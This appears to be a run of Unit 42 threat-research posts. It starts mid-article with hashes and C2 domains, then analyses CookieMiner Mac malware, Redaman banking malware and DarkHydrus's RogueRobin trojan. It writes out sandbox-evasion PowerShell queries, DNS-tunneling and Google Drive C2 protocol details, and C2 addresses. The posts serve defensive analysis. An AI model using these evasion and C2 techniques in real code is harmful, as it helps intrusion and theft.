a8192656dd1db0be4cec9d03b4d10e0529d9c52c899eda8d8e72698acfb61419 

a8f776bd3a9593e963b567ce790033fec2804ea0afb40a92d40e21d8f33d066f 

b4966f8febdba6b2d674afffc65b1df11e7565acbd4517f1e5b9b36a8c6a16ed 

bb25f1a73d095d57b2c8c9ac6780e4d412ddf3d9eef84a54903cc8e4eaefc335 

bc82bce004afb6424e9d9f9fc04a84f58edf859c4029eda08f7309dbeec67696 

c30198e0b0e470d4ac8821bd14bb754466e7974f1c20be8b300961e9e89ed1ea 

caabc45e59820a4349db13f337063eddede8a0847ae313d89a800f241d8556c8 

d3ef6643ad529d43a7ec313b52c8396dc52c4daad688360eb207ee91a1caf7b2 

e3c818052237bb4bb061290ab5e2a55c3852c8a3fef16436b1197e8b17de2e18 

e56ffcf5df2afd6b151c24ddfe7cd450f9208f59b5731991b926af0dce24285a 

e8704bf6525c90e0f5664f400c3bf8ff5da565080a52126e0e6a62869157dfe3 

e8a454cd8b57a243f0abeec6945c9b10616cfdcc4abfb4c618bfc469d026d537 

eac776c3c83c9db1a770ffaf6df9e94611c8293cbd41cb9257148603b8f2be0b 

ead0f3e6f0ca16b283f09526d09e8e8cba687dab642f0e102e5487cb565bf475 

f011a136996fa53fdbde944da0908da446b9532307a35c44ed08241b5e602cc9 

f2a2f4fa2ed5b2a94720a4661937da97ab21aa198a5f8c83bb6895aa2c398d22 

f62f21ee7e642f272b881827b45ceb643c999a742e1d3eac13d1ba014d1e7f67 

f9f0973dc74716b75291f5a9b2d59b08500882563011d1def2b8d0b1b9bbb8ae 

C2: 

 theme[[.]]blogsite[.]org 

cortana[.]homelinux[.]com 

word[.]webhop[.]info 

work[.]windownoffice[.]com 

cortanasyn[.]com 

e[.]browsersyn[.]com 

syn[.]servebbs[.]com 

service[.]windown-update[.]com 

check[.]homeip[.]net 

outlook[.]updateoffices[.]net 

mail[.]fptservice[.]net 

office[.]windown-update[.]com 

cortanazone[.]com 

beta[.]officopedia[.]com 

videos[.]dyndns[.]org 

service[.]serveftp[.]org 

syn[.]browserstime[.]com 

check[.]webhop[.]org 

ristineho[.]com 

 Appendix A: 

Cobalt Strike Beacon contains the hard-coded configuration data in its body. JPCERT published an article about the structure of the configuration. The sample we obtained has the following configuration (Figure 10) and connects to the C2 server, https:// b.cortanazone[.]com. 

Figure 10: Cobalt Strike Beacon configuration 

Appendix B: 

Figure 11 shows some of the contents of the individual RAR files. All the .exe files are copies of Windows Word and the associated ‘wwlib.dll’ file is the malicious downloader DLL KerrDown, which is sideloaded when the .exe file gets executed. 

Figure 11: RAR archives with malicious DLL for sideloading

Mac Malware Steals Cryptocurrency Exchanges’ Cookies

Posted on by Yue Chen

Palo Alto Networks’ Unit 42 recently discovered malware that we believe has been developed from OSX.DarthMiner, a malware known to target the Mac platform.

This malware is capable of stealing browser cookies associated with mainstream cryptocurrency exchanges and wallet service websites visited by the victims.

It also steals saved passwords in Chrome.

Finally, it seeks to steal iPhone text messages from iTunes backups on the tethered Mac.

By leveraging the combination of stolen login credentials, web cookies, and SMS data, based on past attacks like this, we believe the bad actors could bypass multi-factor authentication for these sites.

If successful, the attackers would have full access to the victim’s exchange account and/or wallet and be able to use those funds as if they were the user themselves.

The malware also configures the system to load coinmining software on the system. This software is made to look like an XMRig-type coinminer, which is used to mine Monero. In fact, though, it loads a coinminer that mines Koto, a lesser-known cryptocurrency that is associated with Japan.

Because of the way this malware attacks the cookies associated with exchanges, we have named this malware “CookieMiner”.

In the following sections, we will first briefly introduce some background knowledge, and then dig into the technical details of the malware’s behaviors.

Background

Web cookies are widely used for authentication. Once a user logs into a website, its cookies are stored for the web server to know the login status. If the cookies are stolen, the attacker could potentially sign into the website to use the victim’s account. Stealing cookies is an important step to bypass login anomaly detection. If only the username and password are stolen and used by a bad actor, the website may issue an alert or request additional authentication for a new login. However, if an authentication cookie is also provided along with the username and password, the website might believe the session is associated with a previously authenticated system host and not issue an alert or request additional authentication methods.

A cryptocurrency exchange is a place to trade cryptocurrencies for other assets, such as other digital (crypto)currencies or conventional fiat money. Most modern cryptocurrency exchanges and online wallet services have multi-factor authentication. CookieMiner tries to navigate past the authentication process by stealing a combination of the login credentials, text messages, and web cookies. If the bad actors successfully enter the websites using the victim’s identity, they could perform fund withdrawals. This may be a more efficient way to generate profits than outright cryptocurrency mining. Furthermore, attackers could manipulate the cryptocurrency prices with large-volume buying and/or selling of stolen assets resulting in additional profits.

Technical Details

A rundown of CookieMiner’s behaviors (discussed in more detail in the following sections):

  • Steals Google Chrome and Apple Safari browser cookies from the victim’s machine
  • Steals saved usernames and passwords in Chrome
  • Steals saved credit card credentials in Chrome
  • Steals iPhone’s text messages if backed up to Mac
  • Steals cryptocurrency wallet data and keys
  • Keeps full control of the victim using the EmPyre backdoor
  • Mines cryptocurrency on the victim’s machine

Stealing Cookies

The CookieMiner attack begins with a shell script targeting MacOS. As shown in Figure 1, it copies the Safari browser’s cookies to a folder, and uploads it to a remote server (46.226.108[.]171:8000). The server hosts the service “curldrop” (https://github[.]com/kennell/curldrop), which allows users to upload files with curl. The attack targets cookies associated with cryptocurrency exchanges that include Binance, Coinbase, Poloniex, Bittrex, Bitstamp, MyEtherWallet, and any website having “blockchain” in its domain name such as www.blockchain[.]com.

Figure 1. Code to steal web cookies

Stealing Credit Cards, Passwords, Wallets and SMS

Apple’s Safari is not the only web browser targeted. Google Chrome also attracts the threat actors’ attention due to its popularity. CookieMiner downloads a Python script named “harmlesslittlecode.py” to extract saved login credentials and credit card information from Chrome’s local data storage (Figure 2).

Figure 2. Malware extracts Chrome's secret data

CookieMiner adopts techniques from the Google Chromium project’s code for its decryption and extraction operations and abuses them. Google Chromium is an open-source version of the Google Chrome browser. By abusing these techniques, CookieMiner attempts to steal credit card information from major issuers, such as Visa, Mastercard, American Express, and Discover (Figure 3). The user’s saved login credentials are also stolen, including usernames, passwords, and the corresponding web URLs (Figure 4).

Figure 3. CookieMiner extracts credit card information

Figure 4. CookieMiner extracts login credentials

CookieMiner reports all the wallet-related file paths to its remote server so it can later upload the files according to the C2 commands. These files usually include private keys of cryptocurrency wallets. If the victims use iTunes to backup files from iPhone to Mac (can be via Wi-Fi), their iPhone text messages (SMSFILE) will also be retrieved by the attackers (Figure 5).

Figure 5. Malware steals wallets, cookies, passwords and SMS

Cryptocurrency Mining

CookieMiner issues a series of commands to configure the victim’s machine to mine cryptocurrency and maintain persistence (Figure 6). The program xmrig2 is a Mach-O executable for mining cryptocurrency. As seen in Figure 7, the address “k1GqvkK7QYEfMj3JPHieBo1m7FUkTowdq6H” has considerable mining performance. It has been ranked as a top miner in the Maruru mining pool (koto-pool.work).­­­ The cryptocurrency mined is called Koto, which is a Zcash-based anonymous cryptocurrency. The has addresses in Figure 8 use the “Yescrypt” algorithm which is good for CPU miners but not ideal for GPU miners. This is ideal for malware as the victim hosts are not guaranteed to have discrete GPUs installed in them but are guaranteed to have a CPU available. However, the filename xmrig2 is usually used by Monero miners. We believe the malware authors may have intentionally used this filename to create confusion since the miner is actually mining the Koto cryptocurrency.

Figure 6. CookieMiner mines cryptocurrency

 

Figure 7 Mining performance of the worker

Remote Control

For persistence and remote control, the script downloads another base64-encoded Python script from hxxps://ptpb[.]pw/OAZG. After several steps of de-obfuscation, we found the attackers using EmPyre for post-exploitation control. EmPyre is a Python post-exploitation agent built on cryptologically-secure communications and a flexible architecture. The attacker is able to send commands to the victim’s machine for remote control. Additionally, the agent checks if Little Snitch (an application firewall) is running on the victim’s host. If so, it will stop and exit.

Conclusion

The malware “CookieMiner” is intended to help threat actors generate profit by collecting credential information and mining cryptocurrency. If attackers have all the needed information for the authentication process, the multi-factor authentication may be defeated. Cryptocurrency owners should keep an eye on their security settings and digital assets to prevent compromise and leakage.

Customers of Palo Alto Networks are protected by WildFire that is able to automatically detect the malware. AutoFocus users can track this activity by using the StealCookie tag.

 

Indicators of Compromise

Samples

c65e65207f6f9f8df05e02c893de5b3c04825ac67bec391f0b212f4f33a31e80 uploadminer.sh

485c2301409a238affc713305dc1a465afa9a33696d58e8a84e881a552b82b06 harmlesslittlecode.py

27ccebdda20264b93a37103f3076f6678c3446a2c2bfd8a73111dbc8c7eeeb71 OAZG

91b3f5e5d3b4e669a49d9c4fc044d0025cabb8ebb08f8d1839b887156ae0d6dd com.apple.rig2.plist

cdb2fb9c8e84f0140824403ec32a2431fb357cd0f184c1790152834cc3ad3c1b com.proxy.initialize.plist

ede858683267c61e710e367993f5e589fcb4b4b57b09d023a67ea63084c54a05 xmrig2

 

C2 Information

hxxps://ptpb[.]pw/OAZG

46.226.108[.]171

Russian Language Malspam Pushing Redaman Banking Malware

Posted on by Mike Harbison

Redaman is banking malware first noted in 2015 that targets recipients who conduct transactions using Russian financial institutions. First reported as the RTM banking Trojan, vendors like Symantec and Microsoft described an updated version of this malware as Redaman in 2017. We have found versions of Redaman in Russian language mass-distribution campaigns during the last four months of 2018. This blog tracks recent developments from an ongoing campaign of malicious spam (malspam) currently distributing this banking malware from September through December of 2018. We cover the following areas:

  • Infection vector
  • Email characteristics
  • Targeted recipients
  • Analysis of a Redaman sample
  • Infection traffic

Infection vector

Since September of 2018, Redaman banking malware has been distributed through malspam. In this campaign, the Russian language malspam is addressed to Russian email recipients, often with email addresses ending in .ru. These emails have file attachments. These file attachments are archived Windows executable files disguised as a PDF document. In September 2018, the attachments were zip archives. In October 2018, the attachments were zip archives, 7-zip archives, and rar archives. In November 2018, the attachments were rar archives. And in December 2018, the attachments changed to gzip archives with file names ending in .gz.

Figure 1: Flow chart for infections from Redaman banking malware from September through December of 2018.

The emails

Subject lines, message text, and attachment names constantly change for this malspam. But the messages all have a common theme: they refer to a document or file for an alleged financial issue the recipient needs to resolve. These messages are often vague, and they contain few details on the alleged financial issue. Their only goal is to trick the recipient into opening the attached archive and double-clicking the executable contained within.

Among dozens of examples seen from September through December of 2018, here is a selection of 10 subject lines from this malspam:

  • Subject: Акт сверки сентябрь-октябрь
  • Subject: Весь пакет док-ов за прошлый месяц
  • Subject: Все док-ты за август-сентябрь
  • Subject: Деб.задолженность среда
  • Subject: Документы, сверка 02.10
  • Subject: Заявка на возврат за ноябрь
  • Subject: Необходимо свериться среда
  • Subject: Отправка на за прошлую неделю
  • Subject: Пакет документов для оплаты 1е октября
  • Subject: Сверка на оплату

The following are Google translations for the above subject lines:

  • Subject: Act of reconciliation September-October
  • Subject: All package of last month's documents
  • Subject: All docs for August-September
  • Subject: Debt due Wednesday
  • Subject: Documents Verification for October 2018
  • Subject: Application for return for November
  • Subject: Check the environment
  • Subject: Sending on last week
  • Subject: The package of documents for payment 1st October
  • Subject: Payment Verification

Figure 2: Example of Redaman malspam from September 2018.

 Figure 3: Example of Redaman malspam from October 2018.

 Figure 4: Example of Redaman malspam from November 2018.

 Figure 5: Example of Redaman malspam from December 2018.

Targeted recipients

The content of these emails and data from our AutoFocus threat intelligence platform confirms this campaign is primarily targeting Russian recipients. We found 3,845 email sessions in AutoFocus with attachments tagged as Redaman banking malware from September through December 2018. Data on the top 10 senders and recipients of this malspam follow:

Mail servers of the top 10 senders:

  • From Russia - 3,456
  • From Belarus - 98
  • From Ukraine - 93
  • From Estonia - 29
  • From Germany - 30
  • From United States - 21
  • From Netherlands - 12
  • From Great Britain - 7
  • From Switzerland - 7
  • From Latvia - 2

Mail servers of the top 10 recipients:

  • To Russia - 2,894
  • To Netherlands - 195
  • To United States - 55
  • To Sweden - 24
  • To Japan - 16
  • To Kazakhstan - 12
  • To Spain - 12
  • To Finland - 11
  • To Germany - 6
  • To Austria - 4

Figure 6: AutoFocus map visualization for distribution of email recipients, September through December of 2018.

 

Analysis of a Redaman sample

We analyzed a sample of Redaman malware from malspam on November 13th, 2018.

SHA256 hash of rar archive from the malspam:

  • f6fb51809caec2be6164863b5773a7ee3ea13a449701a1f678f0655b6e8720df

SHA256 hash of Redaman executable extracted from the rar archive:

  • cd961e81366c8d9756799ec8df14edaac5e3ae4432c3dbf8e3dd390e90c3e22f

SHA256 hash of Redaman DLL created by the above executable:

  • 14d33b02a497e46f470d30180a09a1057c6802c1f37b0efbf82cbdc47a8ae7ff

When the Windows executable for Redaman is first run, it checks for the following files or directories on the local host (C:\ or D:\ drives):

  • C:\cuckoo
  • C:\fake_drive
  • C:\perl
  • C:\strawberry
  • C:\targets.xls
  • C:\tsl
  • C:\wget.exe
  • C:\*python*

If any of the above files or directories exist, the Windows executable throws an exception and exits. This indicates Redaman checks if it is running in a sandbox or similar type of analysis environment.

If no exceptions occur, the Windows executable drops a DLL file in the user's AppData\Local\Temp\ directory, creates a randomly-named folder under C:\ProgramData\ directory and moves the DLL under that folder as a random file name. This Redaman DLL is made persistent through a scheduled Windows task with the following properties:

  • Name: Windows Update
  • Description: Updating Windows components.
  • Triggers: Executed whenever the user logs on
  • Action: rundll32.exe "C:\ProgramData\%random value%\%random value.random 3-character extension%",DllGetClassObject host

After creating a scheduled task and causing the DLL to load, the initial Redaman executable file deletes itself.

Figure 7: Example of a Redaman DLL persistent through a scheduled task.

Figure 8: Process Hacker showing the Redaman DLL active using rundll32.exe.

 

Redaman uses an application-defined hook procedure to monitor browser activity, specifically Chrome, Firefox, and Internet Explorer. It then searches the local host for information related to the financial sector. Other capabilities of Redaman include:

  • Downloading files to the infected host
  • Keylogging activity
  • Capture screen shots and record video of the Windows desktop
  • Collecting and exfiltrating financial data, specifically targeting Russian banks
  • Smart card monitoring
  • Shutting down the infected host
  • Altering DNS configuration through the Windows host file
  • Retrieving clipboard data
  • Terminating running processes
  • Adding certificates to the Windows store

 

Infection traffic

We generated the following infection traffic using the executable with SHA256 hash cd961e81366c8d9756799ec8df14edaac5e3ae4432c3dbf8e3dd390e90c3e22f on November 14th, 2018:

  • 104.28.16[.]33 port 443 - namecha[.]in - GET /name/d/stat-counter-3-1
  • 185.141.61[.]246 port 80 - 185.141.61[.]246 - POST /index.php
  • 193.37.213[.]28 port 80 - 193.37.213[.]28 - POST /p/g_3453456jawd346.php

Figure 9: Redaman infection traffic filtered in Wireshark.

Network activity started with an HTTPS URL to namecha[.]in, which is an alternative namecoin block explorer. Namecoin is a cryptocurrency system that can be used for decentralized DNS. That proves to be the case here, since the URL returned an IP address used for subsequent post-infection traffic as shown in Figure 10.

Figure 10: Data returned from namecha[.]in used for subsequent infection traffic.

 

During the infection, callback traffic was periodically sent to a command and control (C2) sever at 185.141.61[.]246. Shortly after the infection, return traffic from the C2 server sent a Pony variant DLL to the infected Windows client.

Figure 11: Using Wireshark to find 58 kB of encoded data returned from the C2 server at 185.141.61[.]246.

 

Data for the Pony variant DLL was XOR encoded with multiple XOR keys and RTLcompressed. The SHA256 of this Pony variant DLL is b4701d95219d465e978c4a815fcce89787916da33ae2a49d0e76d4445fd39ada, and it generated traffic to 193.37.213[.]28/p/g_3453456jawd346.php during the infection.

Conclusion

Since it was first noted in 2015, this family of banking malware continues targeting recipients who conduct transactions with Russian financial institutions. We found over 100 examples of malspam during the last four months of 2018, and this blog provides a closer look at Redaman during that timeframe. We covered the following areas:

  • Infection vector
  • Email characteristics
  • Targeted recipients
  • Analysis of a Redaman sample
  • Infection traffic

We expect to discover new Redaman samples as 2019 progresses.

Palo Alto Networks customers are protected from this threat. Traps identifies these files through Local Analysis and Wildfire has classified them as malicious. Our threat prevention platform detects this malware, and see the below appendices below for details on Redaman malware we discovered from September through December of 2018.

Appendix A

SHA256 file hashes for 119 malspam attachments, 30 extracted Redaman executable files, and 30 dropped Redaman DLL files found from September through December 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-09-thru-2018-12-file-hashes-for-Redaman-banking-malware.txt

Appendix B

SHA256 file hashes, archive file names, and extracted file names for Redaman banking malware found in September 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-09-file-hashes-for-Redaman-banking-malware.txt

Appendix C

SHA256 file hashes, archive file names, and extracted file names for Redaman banking malware found in October 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-10-file-hashes-for-Redaman-banking-malware.txt

Appendix D

SHA256 file hashes, archive file names, and extracted file names for Redaman banking malware found in November 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-11-file-hashes-for-Redaman-banking-malware.txt

Appendix E

SHA256 file hashes, archive file names, and extracted file names for Redaman banking malware found in December 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-12-file-hashes-for-Redaman-banking-malware.txt

DarkHydrus delivers new Trojan that can use Google Drive for C2 communications

Posted on by Robert Falcone

In the summer of 2018, Unit 42 released reporting regarding activity in the Middle East surrounding a cluster of activity using similar tactics, tools, and procedures (TTPs) in which we named the adversary group DarkHydrus. This group was observed using tactics such as registering typosquatting domains for security or technology vendors, abusing open-source penetration testing tools, and leveraging novel file types as anti-analysis techniques.

Since that initial reporting, we had not observed new activity from DarkHydrus until recently, when 360TIC published a tweet and subsequent research discussing delivery documents that appeared to be attributed to DarkHydrus. In the process of analyzing the delivery documents, we were able to collect additional associated samples, uncover additional functionality of the payloads including the use of Google Drive API, and confirm the strong likelihood of attribution to DarkHydrus. We have notified Google of our findings.

Delivery Document

We collected a total of three DarkHydrus delivery documents installing a new variant of the RogueRobin trojan. These three documents were extremely similar to each other and are all macro enabled Excel documents with .xlsm file extensions. None of the known documents contain a lure image or message to instruct the recipient to click the Enable Content button necessary to run the macro, as seen in Figure 1. While we cannot confirm the delivery mechanism, it is likely that the instructions to click the Enable Content button were provided during delivery, such as in the body of a spear-phishing email.

    Figure 1 DarkHydrus' delivery document does not have a lure image or message

Without the delivery mechanism we cannot confirm the exact time these delivery documents were used in an attack; however, the observed timestamps within these three delivery documents gives us an idea when the DarkHydrus actors created them. While the creation times were timestomped to a default time of 2006-09-16 00:00:00Z commonly observed in malicious documents, the Last Modified times were still available and suggest that DarkHydrus created these documents in December 2018 and January 2019. Table 1 shows the breakdown of timestamps and their associated sample hashes.

SHA256 Last Modified
e068c6536bf353abe249ad0464c58fb85d7de25223442dd220d64116dbf1e022

 

 2018-12-15T05:14:32Z

 

 
4e40f80114e5bd44a762f6066a3e56ccdc0d01ab2a18397ea12e0bc5508215b8     2018-12-23T05:45:43Z
513813af1590bc9edeb91845b454d42bbce6a5e2d43a9b0afa7692e4e500b4c8

 

 2019-01-08T06:51:21Z

 

 

Table 1 Timestamps of delivery documents

The macro executes immediately after pressing the Enable Content button thanks to the  Workbook_Open sub-function, which will call the actor created New_Macro function. The New_Macro function starts by concatenating several strings to create a PowerShell script that it will write to the file %TEMP%\WINDOWSTEMP.ps1. The function builds the contents of a second file by concatenating several strings together, but this second file is a .sct file that the function will write to a file %TEMP%\12-B-366.txt. While .sct files are used by a multitude of applications, in this instance it is being used as a Windows Script Component file. The function then uses the built-in Shell function to run the following command, which effectively executes the .sct file stored in 12-B-366.txt:

The use of the legitimate regsvr32.exe application to run a .sct file is an AppLocker bypass technique originally discovered by Casey Smith (@subtee), which eventually resulted in a Metasploit module. The WINDOWSTEMP.ps1 script is a dropper that decodes an embedded executable using base64 and decompresses it with the System.IO.Compression.GzipStream object. The script saves the decoded and decompressed executable to %APPDATA%\Microsoft\Windows\Templates\WindowsTemplate.exe and creates an LNK shortcut at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk to persistently run WindowsTemplate.exe each time Windows starts up. The WindowsTemplate.exe executable is a new variant of RogueRobin written in C#.

RogueRobin .NET Payload

In our original blog on DarkHydrus, we analyzed a PowerShell-based payload we named RogueRobin. While performing the analysis on the delivery documents using the .sct file AppLocker bypass, we noticed the C# payload was functionally similar to the original RogueRobin payload. The similarities between the PowerShell and C# variants of RogueRobin suggests that the DarkHydrus group ported their code to a compiled variant.

The C# variant of RogueRobin attempts to detect if it is executing in a sandbox environment using the same commands as in the PowerShell variant of RogueRobin. The series of commands, as seen in Table 2, include checks for virtualized environments, low memory, and processor counts, in addition to checks for common analysis tools running on the system. The Trojan also checks to see if a debugger is attached to its processes and will exit if it detects the presence of a debugger.

PowerShell command Description
‘gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%VBOX%'" Query attempts to detect VirtualBox environment from the win32_BIOS WMI class
gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%bochs%'" Query attempts to detect Bochs environment from the win32_BIOS WMI class
gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%qemu%'" Query attempts to detect QEMU environment from the win32_BIOS WMI class
gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%VirtualBox%'" Query attempts to detect VirtualBox environment from the win32_BIOS WMI class
gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%VM%'" Query attempts to detect VMWare environment from the win32_BIOS WMI class
gwmi -query "Select * from win32_BIOS where Manufacturer LIKE '%XEN%'" Query attempts to detect Xen environment from the win32_BIOS WMI class
gwmi win32_computersystem Uses this query to check the system information for the string “VMware”.
gwmi -query "Select TotalPhysicalMemory from Win32_ComputerSystem" Uses this query to check to see if the total physical memory is less than 2,900,000,000 bytes.
gwmi -Class win32_Processor | select NumberOfCores Uses this query to check to see if the total number of CPU cores is less than 1.
Get-Process | select Company Checks to see if any running processes have "Wireshark" or "Sysinternals" as the company name.

Table 2 Sandbox evasion checks in the C# variant of RogueRobin

Like the original version, the C# variant of RogueRobin uses DNS tunneling to communicate with its C2 server using a variety of different DNS query types. Just like in the sandbox checks, the Trojan checks for an attached debugger each time it issues a DNS query; if it does detect a debugger it will issue a DNS query to resolve 676f6f646c75636b.gogle[.]co. The domain is legitimate and owned by Google. The subdomain 676f6f646c75636b is a hex encoded string which decodes to goodluck. This DNS query likely exists as a note to researchers or possibly as an anti-analysis measure, as it will only trigger if the researcher has already patched the initial debugger check to move onto the C2 function. Figure 2 shows the code responsible for detecting the attached debugger and issuing the corresponding DNS request.

Figure 2 Code that issues DNS query to gogle.co if a debugger is detected

All DNS requests issued by RogueRobin use the built in nslookup.exe application to communicate to the C2 server and the Trojan will use a variety of regular expressions to extract data from the DNS response. Firstly, the Trojan will use the following regular expression to determine if the C2 server wishes to cancel the C2 communications:

Additionally, the RogueRobin Trojan uses the regular expressions in Table 3 to confirm that the DNS response contains the appropriate data for it to extract information from.

Regular Expressions
([^r-v\\s])[r-v]([\\w\\d+\\/=]+)-\\w+.(<domainList[0]>|<domainList[1]>|<domainList[n]>)
Address:\\s+(([a-fA-F0-9]{0,4}:{1,4}[\\w|:]+){1,8})
Address:\\s+(([a-fA-F0-9]{0,4}:{1,2}){1,8})
([^r-v\\s]+)[r-v]([\\w\\d+\\/=]+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)
(\\w+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)
Address:\\s+(\\d+.\\d+.\\d+.\\d+)

Table 3 Regular expressions used by RogueRobin

The C# variant, like its PowerShell relative, will issue DNS queries to determine which query types can successfully communicate with its C2 servers. Figure 3 shows the RogueRobin payload issuing DNS requests to resolve custom crafted subdomains of its C2 domains using TXT, SOA, MX, CNAME, SRV, A and AAAA query types.

Figure 3 RogueRobin testing various DNS query types

The domains in the test queries, such as aqhpc.akdns[.]live have subdomains that are generated by substituting the digits in the Trojan’s process ID with characters seen in Table 4 (for example qhp for the PID 908) and surrounding these characters with the static characters a and c. The C2 server can respond to any of the query types to provide a unique identifier value that the Trojan will store in a variable and use in future DNS requests.

 

Character Digit
h 0
i 1
j 2
k 3
l 4
m 5
n 6
o 7
p 8
q 9

Table 4 Character substitution used in RogueRobin

The Trojan will use future DNS requests to retrieve jobs from the C2 server, which the Trojan will handle as commands. To obtain a job, the Trojan builds a subdomain that has the following structure and issues a DNS query to the C2 server:

c<unique identifier><job identifier padded with ‘0’ to make three digits><sequence number>c

The generated subdomain is then subjected to a number-to-character substitution function that is the inverse of the Table 4, which effectively converts all the digits in the subdomain into characters. The Trojan checks the response to this query using the regular expressions in Table 3. If it received a non-cancelling response, the Trojan will extract data from the DNS responses and treat it as commands. Table 5 shows the commands that the C# variant of RogueRobin can handle, which is extremely similar to the previously analyzed PowerShell variant.

Regex  Description
^kill Kills a thread running in Trojan based on a provided thread name
^\$fileDownload Uploads a file to the C2 server via the DNS tunnel
^\$importModule Runs a provided PowerShell command and adds it to a list called 'modules'
^\$x_mode Turns on the alternative mode of 'x_mode' on to use the alternative C2 channel. If preceded by "OFF", it turns 'x_mode' off, otherwise the command is newline delimited with settings to use this alternative C2 functionality.
^\$ClearModules Clears the previously run 'modules' list
^\$fileUpload This command should be followed by a string that will be used as a path to save a new file to the system. This command will then reach out to the C2 server to obtain the data to save to this file path.
^testmode Runs the test function to determine which DNS query types can successfully communicate with the C2
^showconfig Creates a pipe delimited ("|") string that contains the sample's settings, including the list of C2 domains and available DNS query types.
^changeConfig Allows the C2 to set values within the Trojan's configuration via pipe delimited ("|") string. The string is formatted as "<domain list>|<minimum query size>|<maximum query size>|<hasGarbage>|<sleepPerRequest>|<maximum requests>|<query types>|<hibridMode>|<current query mode>"
^slp Sets the sleep and jitter values
^exit Exits the Trojan

Table 5 Commands available within the C# variant of RogueRobin

Using Google Drive for C2

A command that was not available in the original PowerShell variant of RogueRobin but is available with the new C# variant is the x_mode. This command is particularly interesting as it enables an alternative command and control channel that uses the Google Drive API. The x_mode command is disabled by default, but when enabled via a command received from the DNS tunneling channel, it allows RogueRobin to receive a unique identifier and to get jobs by using Google Drive API requests.

In x_mode, RogueRobin uploads a file to the Google Drive account and continually checks the file's modification time to see if the actor has made any changes to it. The actor will first modify the file to include a unique identifier that the Trojan will use for future communications. The Trojan will treat all subsequent changes to the file made by the actor as jobs and will treat them as commands, which it will handle with the same command handler seen in Table 5.

To use Google Drive, the x_mode command received from the C2 server via DNS tunneling will be followed by a newline-delimited list of settings needed to interact with the Google Drive account. Figure 4 shows the code in RogueRobin that handles the x_mode command, specifically splitting the command data on newlines and using the resulting array to set variables used as x_mode settings.

Figure 4 x_mode command and new line delimited settings

As seen in Figure 4, the settings are stored in variables seen in Table 6, which are used to authenticate to the actor-controlled Google account before uploading and downloading files from Google Drive.

Variable Name Description
gdu Google Drive URL for downloading files to the Google Drive account
gduu Google Drive URL for uploading files to the Google Drive account
gdue Google Drive URL for updating a file on the Google Drive account
gdo2t Google Drive URL used to get the OAUTH access_token
client_id The client_id for the OAUTH application
cs The client_secret for OAUTH
r_t The refresh_token for OAUTH

Table 6 Variables used to store settings needed to use Google Drive as a C2

To obtain an OAUTH access token to authenticate to the actor provided Google account, the Trojan sends an HTTP POST request to a URL stored in the gdo2t variable with grant_type, client_id, client_secret, and refresh_token fields added to the HTTP header and in the POST data. As seen in Figure 5, the values for these fields are set to variables initially set upon issuing of the x_mode command.

Figure 5 HTTP POST request to obtain an OAUTH access token

Figure 5 shows that the Trojan then uses the following regular expression to obtain the access token from the HTTP response:

\"access_token\":(.*)

Once authenticated with a valid access token, the Trojan will attempt to upload a file to the Google Drive account. To upload a file, the Trojan first creates an HTTP POST request to the URL stored in gduu to send the following JSON data to the Google Drive account:

{ "name" : “<process ID of Trojan>.txt” }

Google Drive will respond to this request with an HTTP response whose header contains a Location field. This field contains a URL that the Trojan will use to upload the contents of the <process ID of Trojan>.txt file, which will be structured as <process ID of Trojan>.<C2 domain> where the process ID is encoded with the same character substitution function as seen previously in Table 4. The Trojan will then use the following regular expression to check the HTTP response to the content upload request for the file identifier value:

\"id\":(.*)

The Trojan will use this file identifier value to monitor for changes made to the file by the actor by checking for changes to the modification time of the <process ID of Trojan>.txt file. The Trojan checks the modified time of the file by creating an HTTP request to a URL structured as follows:

<Google Drive URL in ‘gdu’> + <file identifier> + "?supportTeamDrives=true&fields=modifiedTime"

The Trojan then uses the following regular expression to obtain the modified time of the file from the HTTP response, which is saved to the variable named modification_time:

\"modifiedTime\":(.*)

The Trojan then uploads a second file to the Google Drive, the purpose of which is to allow the Trojan to continually write to this file as it waits for the actor to modify the first file uploaded. The Trojan will write <process ID of Trojan> to a second file stored on the Google Drive instance named <process ID of Trojan>-U.txt. In each iteration of the communications loop, the Trojan will check to see if the modification time of the first file changed, and if it is not updated the Trojan will update the second file by writing the string b<unique identifier>c<5 random lowercase characters>.<C2 domain> to the file by creating an HTTP POST request to a URL structured as follows:

<Google Drive URL in ‘gdue’> + <second file identifier> + "?supportsTeamDrive=true&uploadType=resumable&fields=kind,id,name,mimeType,parents"

In one RogueRobin sample (SHA256: f1b2bc0831...), the author did not use the Google Drive URL provided by the actor when issuing the x_mode command, and instead included a  hardcoded Google Drive URL, as seen in Figure 6. This is the only instance we observed where a hardcoded Google Drive URL was included in RogueRobin, which may suggest that the author may have overlooked this during testing.

Figure 6 Hardcoded Google Drive URL used in RogueRobin sample

When the modification_time for the first file changes, the Trojan downloads the contents from the first file uploaded to the Google Drive. The Trojan downloads the contents of this file by crafting an HTTP request to a URL structured as follows:

<Google Drive URL in ‘gdu’> + <first file identifier> + "?alt=media"

With the contents of the file downloaded, the Trojan sets the modification_time variable to the current modification time so the Trojan knows when the actor makes further changes to the file. The Trojan processes the downloaded data the same way it would for a unique identifier as if the data was obtained via the DNS tunneling protocol using the TXT query mode, specifically by searching the data using the following regular expression:

\"(\\w+).(<domainList[0]>|<domainList[1]>|<domainList[n]>).\"

With the unique identifier value obtained from the file on Google Drive, the Trojan will attempt to obtain jobs using the Google Drive communications channel. To get a job from the Google Drive account, the Trojan starts by creating a string that has the following structure with each element within the subdomain subjected to the number to character substitution from Table 4:

c<unique identifier><job identifier padded with ‘0’ to make three digits><sequence number>c.<C2 domain>

